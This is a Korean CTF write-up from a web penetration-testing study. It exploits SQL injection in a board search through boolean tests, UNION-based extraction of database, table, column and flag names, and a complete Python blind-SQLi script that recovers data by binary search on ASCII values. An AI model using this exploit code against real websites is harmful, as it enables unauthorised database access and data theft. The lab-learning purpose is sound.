본문 바로가기

웹 모의해킹 스터디/과제

[SQL Injection] CTF - SQL Injection Point 2 문제풀이

 

 


 

게시판 검색창에 작성자로 sdf를 검색하면 다음과 같이 파라미터가 전달되는 것을 확인

 

 

 

 

전달되는 파라미터를 확인했으니 db에서 사용하는 SQL 문을 대략적으로 추측해보면

select * from 테이블 where username like '%sdf%' and ~~~

이런 식일것 같다.

 

추측한 sql 문을 이용해보자

option_val에 1=1 and username을 입력하면

select * from 테이블 where 1=1 and username like '%sdf%' and ~~~

 

1=2 and username을 입력하면

select * from 테이블 where 1=2 and username like '%sdf%' and ~~~

 

 

확인해보자

option_val에 1=1 and username을 입력했을 때 게시글이 동일하게 나온다.

 

 

 

option_val에 1=2 and username을 입력하면 게시글이 존재하지 않는다고 나온다. 취약점을 찾았다.

 

 

error based는 활용할 수 없으니 union과 blind가 있는데 여기서는 추출한 데이터를 확인할 수 있으므로 union을 이용해보겠다.

 

oreder by 1부터 시작해서 2, 3, ... 쭉 request 보냈을 때 11부터 데이터가 나오지 않았다. 총 컬럼 수가 10개임을 확인했다.

 

 

 

컬럼 순서를 확인하기 위해 option_val에 1=1 union select 1,2, ..., 10 order by 4 desc를 입력했다. 응답을 확인했을 때 1,2,3,4가 나오는 것을 보아 처음 4개의 컬럼만 브라우저에서 확인할 수 있는 것을 알 수 있다.

 

 

이제 다 한거나 다름 없다. db, table, column, data를 차례로 추출하면 된다.

db 이름을 추출

 

 

 

 

table 이름 추출

 

 

 

column 이름 추출 (flagTable)

 

 

데이터 추출 (flag 컬럼)

 

 

 

플래그를 획득했다.

 

 

 

근데 실무에서는 주석을 거의 사용하지 않는다고 한다. 실제 서버 db에서 사용하는 sql문의 길이는 지금보다 훨씬 복잡해서 잘못 사용하면 작동되지 않을 수 있기 때문이다.

 

 

그렇다면... 귀찮지만 blind를 사용해야한다...

자동화 코드

import requests
import urllib.parse

url = "http://ctf.segfaulthub.com:7777/sqli_7/notice_list.php"

cookie = {
          'ajs_user_id' : 'null',
          'ajs_group_id' : 'null',
          'ajs_anonymous_id' : '',
          '_ga' : '',
          '__ssid' : '',
          '_hp2_id.318805607' : '',
          'session' : '',
          'PHPSESSID' : ''}


def blind_sqli() : # 쿼리 작성용 함수
    while True :
        query = input("SQL문 입력> ")

        index_value = "sdf" #참 거짓 식별

        value = binarySearch(query,index_value)
        print(value + "\n")


def binarySearch(query, index_value) :
    s = 1 #1번째 자리부터 찾기 용

    start = 65 #공백(spacebar) 부터 비교 시작
    end = 126 #'~'까지 비교
    value = ""
    
    while True :
        mid = (start + end ) // 2

        data = {
            "option_val" : blind_query.format(query, s, 0) + 'username',
            "board_result" : 'sdf',
            "board_search":"%F0%9F%94%8D",
            "date_from" : "",
            "date_to" : ""
        } #먼저 아스키 코드가 0인지 식별 ==> 0이라면 모두 구한 것 => s+1

        response = requests.post(url,cookies = cookie, data=data) #만약 get방식이면 수정하기

        if index_value not in response.text : #0보다 큰게 거짓이면 NULL값이므로 종료한다
            break
        else :
            data = {
            "option_val" : blind_query.format(query, s, mid) + 'username',
            "board_result" : 'sdf',
            "board_search":"%F0%9F%94%8D",
            "date_from" : "",
            "date_to" : ""
        }

            response = requests.post(url,cookies = cookie, data=data) 

            if "sdf" not in response.text : #거짓이면 끝 값을 mid로 바꾼다
                end = mid 
            else :
                start = mid #참이면 시작 값을 mid로 바꾼다

            if start+1 >= end :
                value += chr(end)#만약 start값에 1 더해서 end랑 같거나 크면 end가 답이다.
                s+=1 #그리고 다음 자리 찾는다
                start = 65 #초기화
                end = 126 #초기화

    return value


blind_query = "ascii(substr(({}),{},1))>{} and "
blind_sqli() #blind_query 시작

 

 

추출 완